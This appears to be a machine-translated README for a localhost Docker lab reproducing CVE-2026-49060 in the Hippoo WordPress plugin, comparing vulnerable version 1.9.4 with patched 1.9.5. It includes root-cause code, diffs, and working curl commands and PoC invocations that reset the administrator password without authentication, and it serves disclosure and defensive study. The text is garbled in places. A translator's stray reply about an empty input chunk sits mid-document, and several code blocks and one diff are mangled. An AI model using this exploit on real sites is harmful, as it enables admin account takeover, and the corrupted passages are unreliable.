
このリポジトリには、WordPressプラグイン Hippoo Mobile App for WooCommerce に影響を及ぼす不正確な権限割り当ての脆弱性 CVE-2026-49060 を再現・検証するためのローカル Docker ラボが含まれています。
脆弱な動作は、Hippoo の複製された REST API 名前空間を通じて公開されます:```text /wc-hippoo/v1/ext/
In the vulnerable target, an unauthenticated visitor can access a cloned WordPress REST users route and can update the administrator user's password through an unauthenticated HTTP request. In the patched target, the same request is blocked with `403 Forbidden`.
This lab compares two Hippoo versions:
| Service | Hippoo version | Purpose | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | 脆弱性のある比較対象 | `http://localhost:8081` |
| `patched` | 1.9.5 | パッチ適用済みの比較対象 | `http://localhost:8082` |
実証される脆弱性チェーンは次のとおりです:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
このラボは、Hippoo 1.9.4 と Hippoo 1.9.5 を使用して、脆弱性のあるバージョンとパッチ適用済みバージョンの認可動作を検証します。
このラボは意図的にローカルの Docker サービスのみを対象としています。外部システムを標的とせず、永続化、Web シェル、マルウェア、外部コールバックも含みません。
このラボでは、公開アドバイザリが 1.9.4 までのバージョンを影響を受けると特定しているため、Hippoo 1.9.4 を脆弱な比較対象として使用します。
このラボでは、公開アドバイザリのメタデータが実証された影響範囲に対する修正バージョンとして 1.9.5 を特定しているため、Hippoo 1.9.5 をパッチ適用済みの比較対象として使用します。
公開されている CVE-2026-49060 レコードは、この問題を大まかに不正確な権限割り当て / 権限昇格(Incorrect Privilege Assignment / Privilege Escalation)として説明しています。このラボは、Hippoo 1.9.4 で観測可能な認可動作に焦点を当て、Hippoo 1.9.5 と比較します。
この README の根本原因の要約は、ラボで使用されている脆弱な Hippoo バージョンとパッチ適用済み Hippoo バージョンのソース比較に基づいています。
このラボは、Hippoo のすべてのルートをテストすることを主張するものではありません。クローンされた WordPress ユーザー REST ルートに焦点を当てています:```text /wc-hippoo/v1/ext/wp/v2/users/
The lab does not demonstrate:
* persistence,
* web shell upload,
* arbitrary command execution,
* external callbacks,
* malware behavior,
* attacks against non-lab systems,
* or post-compromise activity beyond the local password update validation.
## Root Cause Summary
The root cause is a permission logic flaw in Hippoo's role and permission handling.
Hippoo exposes cloned WordPress and WooCommerce REST routes under its own namespace:```text
/wc-hippoo/v1/ext/
ルートクローン動作は、クローンされたルートが元のルートの認可要件を維持または強化しなければならないため、セキュリティ上重要です。クローンされたルートが寛容な権限コールバックを受け取った場合、認証と認可を必要とするRESTエンドポイントに未認証ユーザーが到達できる可能性があります。
関連するルートクローン動作は、次のパターンに従います:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
意図されたセキュリティモデルは次のとおりです:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
脆弱な動作が発生するのは、Hippoo 1.9.4 が2つの異なる状態に対して同じ戻り値を使用するためです:```text
administrator / unrestricted access
unauthenticated visitor / no user
Hippoo `1.9.4` では、ログイン中のWordPressユーザーがいない場合、権限ヘルパーは `null` を返します:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
脆弱なバージョンは null も許可されたものとして扱います:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
This creates the vulnerable data flow:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
問題は、単にRESTルートが存在することではありません。問題は、権限判定が認証されていない訪問者を誤って無制限として扱う可能性があることです。
修正版では、これらの状態が分離されています。
Hippoo 1.9.5 では、認証されていない訪問者は null の代わりに false を返します:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
修正された認可チェックは、その後明示的に `false` を拒否します:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
セキュリティ関連の変更は次のとおりです:```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
これがラボに表示される理由です:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
このパッチは、権限の戻り値の意味を変更します。
脆弱なバージョンでは:```text null means administrator/full access null also means unauthenticated/no user
パッチ適用版では:```text
null means administrator/full access
false means unauthenticated/no role/no access
パーミッションヘルパーにおける重要なソースレベルの変更点は次のとおりです。```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
認可決定も変更されます:```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
このパッチは、Hippooのルートクローニング機能を削除するものではありません。代わりに、権限評価に関する信頼境界を修正します。
このパッチから得られるセキュリティ上の教訓は、次のとおりです。```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
セキュリティ上重要な権限関数は、状態ごとに異なる値を使用する必要があります:```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
このラボは、Docker Compose を使用して 2 つの分離された WordPress インストールを実行します。```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
The two WordPress services use separate databases and separate plugin versions:
| Service | Component | Version / Role |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | 脆弱なターゲットアプリケーション |
| `patched` | WordPress + WooCommerce + Hippoo | パッチ適用済みターゲットアプリケーション |
| `db-vuln` | MariaDB | 脆弱なターゲット用データベース |
| `db-patched` | MariaDB | パッチ適用済みターゲット用データベース |
| `init-vuln` | WordPress 初期化サービス | 脆弱なターゲットを初期化します |
| `init-patched` | WordPress 初期化サービス | パッチ適用済みターゲットを初期化します |
デフォルトで公開されているサービス:```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
このラボでは、Hippoo の固定バージョンを使用します:
| Target | Hippoo バージョン | 期待される動作 |
|---|---|---|
http://localhost:8081 | 1.9.4 | 未認証のクローン済みユーザールートが許可される |
http://localhost:8082 | 1.9.5 | 未認証のクローン済みユーザールートがブロックされる |
このラボでは、Hippoo が WooCommerce REST クラスおよびルートと統合するため、WooCommerce をインストールします。
Python のサードパーティパッケージは不要です。PoC は Python 標準ライブラリのモジュールのみを使用します。
クリーンな状態からラボを起動します:```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
サービスのステータスを確認:```bash
docker compose ps
期待される正常なサービス:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
Webアプリケーションを確認してください:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
両方のターゲットに対して読み取り専用の検証を実行します:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
両方のターゲットに対してアクティブなローカル検証を実行します:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
明示的なパスワードでアクティブ検証を実行します:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## PoC の使用方法
位置引数としてローカルターゲット URL を 1 つ以上渡します:```bash
python3 poc/poc.py <target_url> [target_url...]
例:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
デフォルトモードは読み取り専用です。認証なしの`GET`リクエストをクローンされたユーザールートに送信し、アクセスが許可されているかブロックされているかを報告します。
サポートされているオプション:```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
アクティブ検証の例:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
このPoCはループバック/ローカルターゲットのみを受け付けます:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
設計上、非ローカルターゲットは拒否されます。
コマンド:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
想定される脆弱なターゲットシグナル:```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
期待されるパッチ適用済みターゲットシグナル:```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
予想される要約:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
コマンド:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
期待される脆弱なターゲットシグナル:```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
期待されるパッチ適用済みターゲットシグナル:```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
アクティブ検証は、ローカルの脆弱なラボターゲット内の使い捨てWordPress管理者パスワードのみを変更します。
アクティブ検証前のデフォルトのローカルラボ認証情報:```text
Username: admin
Password: AdminPass123!
脆弱なターゲットに対するアクティブ検証が成功した後のデフォルトパスワード:```text Username: admin Password: Cve49060LabPass123!
## 検証の仕組み
バリデータはまずWordPress REST APIを検出します。
一部のWordPress環境では、RESTルートがパーマリンク経由で公開されています:```text
/wp-json/
他のものでは、クエリ文字列のフォールバックを通じて、より確実にそれらを公開します:```text /?rest_route=/
バリデータは両方の形式を試し、JSON RESTインデックスを返す方を使用します。
RESTディスカバリの後、Hippooのクローン済みユーザールートを探します:```text
/wc-hippoo/v1/ext/wp/v2/users
次に、読み取り専用の認証なしGETリクエストを実行します:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
想定される脆弱な動作:```text
HTTP 200 OK
JSON user object returned
期待されるパッチ適用後の動作:```text HTTP 403 Forbidden JSON rest_forbidden error returned
When `--update-password` is enabled, the validator sends an unauthenticated POST request:
`--update-password` が有効な場合、バリデータは認証なしの POST リクエストを送信します:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
想定される脆弱な動作:```text HTTP 200 OK The selected user's password is updated inside the local lab target.
パッチ適用後の期待される動作:```text
HTTP 403 Forbidden
The update is blocked.
重要な違いは、ルートが存在するかどうかではありません。ルートは両バージョンに存在します。セキュリティ上の違いは、未認証のリクエストがそれを呼び出せるかどうかです。
読み取り専用の脆弱性プローブ:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
期待される結果:```text
HTTP/1.1 200 OK
Content-Type: application/json
読み取り専用のパッチ適用済みプローブ:```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
I'm ready to translate the provided Markdown content from English to Japanese. However, the input chunk appears to be empty — no content was included between "INPUT:" and "Expected result:".
Since there is no source text to translate, there is nothing to output. Please resend the chunk with its actual content, and I'll produce the Japanese translation following all the specified rules.```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
アクティブ脆弱性プローブ:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
期待される結果:```text
HTTP/1.1 200 OK
アクティブなパッチ適用済みプローブ:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
期待される結果:```text
HTTP/1.1 403 Forbidden
この脆弱な動作により、Hippoo の名前空間下にあるクローンされた REST ルートへの未認証アクセスが可能になります。
最もセキュリティ上重要であることが実証されたルートは、クローンされた WordPress ユーザールートです:```text /wc-hippoo/v1/ext/wp/v2/users/
脆弱なローカルターゲットでは、認証されていないリクエストによって管理者ユーザーのパスワードを更新できます。これは、管理されたラボ環境におけるアカウント乗っ取りの影響を示しています。
サイト構成や公開されたルートに応じた現実世界での潜在的な影響は次のとおりです。
* 機密のREST APIデータへの不正アクセス、
* 管理者アカウントの乗っ取り、
* 権限昇格、
* WordPressユーザーレコードの不正な変更、
* そして管理者アクセス取得後のサイト全体の侵害。
このラボは、認可の失敗とローカル管理者パスワードの更新のみを示しています。認証後の悪用、プラグインの編集、コード実行、永続化、または破壊的な操作は含まれません。
## 検出と監視
潜在的な指標には、Hippooの複製されたREST名前空間への認証されていないリクエストが含まれます:```text
/wc-hippoo/v1/ext/
高リスク経路パターン:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
疑わしい指標:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
アクセスログパターンの例:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
推奨される監視アクション:
* `/wc-hippoo/v1/ext/` についてWebサーバーのアクセスログを確認します。
* 予期しない管理者ログインがないかWordPress認証ログを確認します。
* 最近のパスワード変更がないかWordPressユーザーレコードを確認します。
* 管理者アカウントのメールアドレス、ロール、作成タイムスタンプを確認します。
* 管理者権限の乗っ取りが疑われる場合は、プラグイン/テーマのファイル変更時刻を確認します。
* 認可が必要なのに未認証ユーザーに `200 OK` を返すREST APIリクエストを監視します。
## 緩和策とパッチノート
Hippoo Mobile App for WooCommerce を修正済みバージョンにアップグレードしてください。
この特定のラボ比較では、Hippoo `1.9.5` は、`1.9.4` で許可されていた未認証のクローン化ユーザールートの動作をブロックします。
本番環境では、ラボ比較バージョンで止めるのではなく、利用可能な最新バージョンに更新してください。
推奨される緩和手順:
* Hippoo Mobile App for WooCommerce を利用可能な最新の修正済みバージョンに更新します。
* インストールされているバージョンが影響を受ける範囲より新しいことを確認します。
* `/wc-hippoo/v1/ext/` が公開されているかどうかを確認します。
* 悪用が疑われる場合は、管理者パスワードをローテーションします。
* WordPress管理者アカウントに不正な変更がないか確認します。
* クローン化されたRESTルートへの未認証リクエストについてWebアクセスログを確認します。
* 即時パッチ適用が不可能な場合は、プラグインを一時的に無効化します。
* WAFまたは仮想パッチを一時的なレイヤーとして使用します。アップグレードの代替としてではなく。
セキュリティエンジニアリングの教訓:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
コンテナの状態を確認します:```bash docker compose ps
初期化ログを確認してください:```bash
docker compose logs init-vuln init-patched
Web サービスを確認してください:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
読み取り専用の検証を実行:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
アクティブな検証を実行:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
アクティブなプラグインを確認:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Hippooのバージョンを確認してください:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
脆弱なターゲット内の権限ロジックを検査する:```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
パッチ適用済みターゲットの権限ロジックを検査する:```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
検証エビデンスを保存:```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
コンテナとネットワークを停止して削除します:```bash docker compose down --remove-orphans
コンテナ、ネットワーク、ボリュームを削除:```bash
docker compose down -v --remove-orphans
ローカルの証拠ファイルが作成された場合は削除します:```bash rm -rf evidence/
## Safety Boundaries
このラボは、ローカルのセキュリティ研究および管理されたデモンストレーションのみを目的としています。
所有していないシステム、または明示的なテスト許可を得ていないシステムに対して、PoCや手動のcurlリクエストを実行しないでください。
このラボでは、実際の本番環境の認証情報、実際の顧客データ、または本番環境のシークレットを使用しないでください。
対象範囲は、以下のようなローカルのDockerサービスに限定されます:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
The PoC is intentionally HTTP-only and local-scope. It does not call Docker, Docker Compose, WP-CLI, or container APIs.
The active validation mode changes the password only for the selected WordPress user inside the disposable local lab target.
The lab does not include payloads for:
The goal is to demonstrate one specific technical condition in a controlled environment:```text unauthenticated request
## 参考文献
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: WordPress Hippoo Mobile App for WooCommerce プラグイン <= 1.9.4 権限昇格
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub アドバイザリ: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* WordPress.org プラグイン: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* WordPress.org プラグイン SVN
https://plugins.svn.wordpress.org/hippoo/
* WordPress.org プラグイン SVN タグ
https://plugins.svn.wordpress.org/hippoo/tags/
* WordPress REST API ハンドブック: ルートとエンドポイント
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* OWASP Web セキュリティテストガイド: 認可バイパスのテスト
https://owasp.org/www-project-web-security-testing-guide/
| 主張 | 証拠 | このラボでの検証方法 |
|---|
CVE-2026-49060 は、WooCommerce 向け Hippoo Mobile App のバージョン 1.9.4 までに影響します。 | 公開アドバイザリは、Hippoo <= 1.9.4 / 1.9.4 までが影響を受けると特定しています。 | References セクションを確認し、vuln サービスのバージョンを比較します。 |
Hippoo 1.9.5 は、パッチ適用済みの比較対象として使用されます。 | 公開アドバイザリのメタデータは、影響を受ける範囲に対するパッチ適用済みバージョンとして 1.9.5 を特定しています。 | docker compose logs init-vuln init-patched を実行し、初期化されたプラグインのバージョンを確認します。 |
| 脆弱な動作は、Hippoo のクローンされた REST 名前空間を通じて公開されます。 | Hippoo は外部 REST ルートを /wc-hippoo/v1/ext/ の下に再登録します。 | python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 を実行します。 |
このラボでは、Hippoo 1.9.4 はクローンされたユーザールートへの未認証アクセスを許可します。 | ラボの PoC は、http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 から 200 OK を受け取ります。 | 8081 に対して読み取り専用の検証コマンドを実行します。 |
このラボでは、Hippoo 1.9.5 は同じ未認証リクエストをブロックします。 | ラボの PoC は、http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 から 403 Forbidden を受け取ります。 | 8082 に対して読み取り専用の検証コマンドを実行します。 |
| このローカルラボでは、脆弱なターゲットは未認証の POST を通じて管理者パスワードを更新できます。 | アクティブな PoC は、--update-password を使用したときに脆弱なターゲットから 200 OK を受け取ります。 | python3 poc/poc.py --update-password http://127.0.0.1:8081 を実行します。 |
| パッチ適用済みのターゲットは、未認証のパスワード更新リクエストをブロックします。 | Hippoo 1.9.5 は、同じクローンされたユーザールートに対して Forbidden 応答を返します。 | 両方のターゲットに対してアクティブな検証を実行します。 |
| PoC は HTTP のみです。 | poc/poc.py は HTTP リクエストのみを送信し、Docker、WP-CLI、またはコンテナ API を呼び出しません。 | poc/poc.py を確認します。 |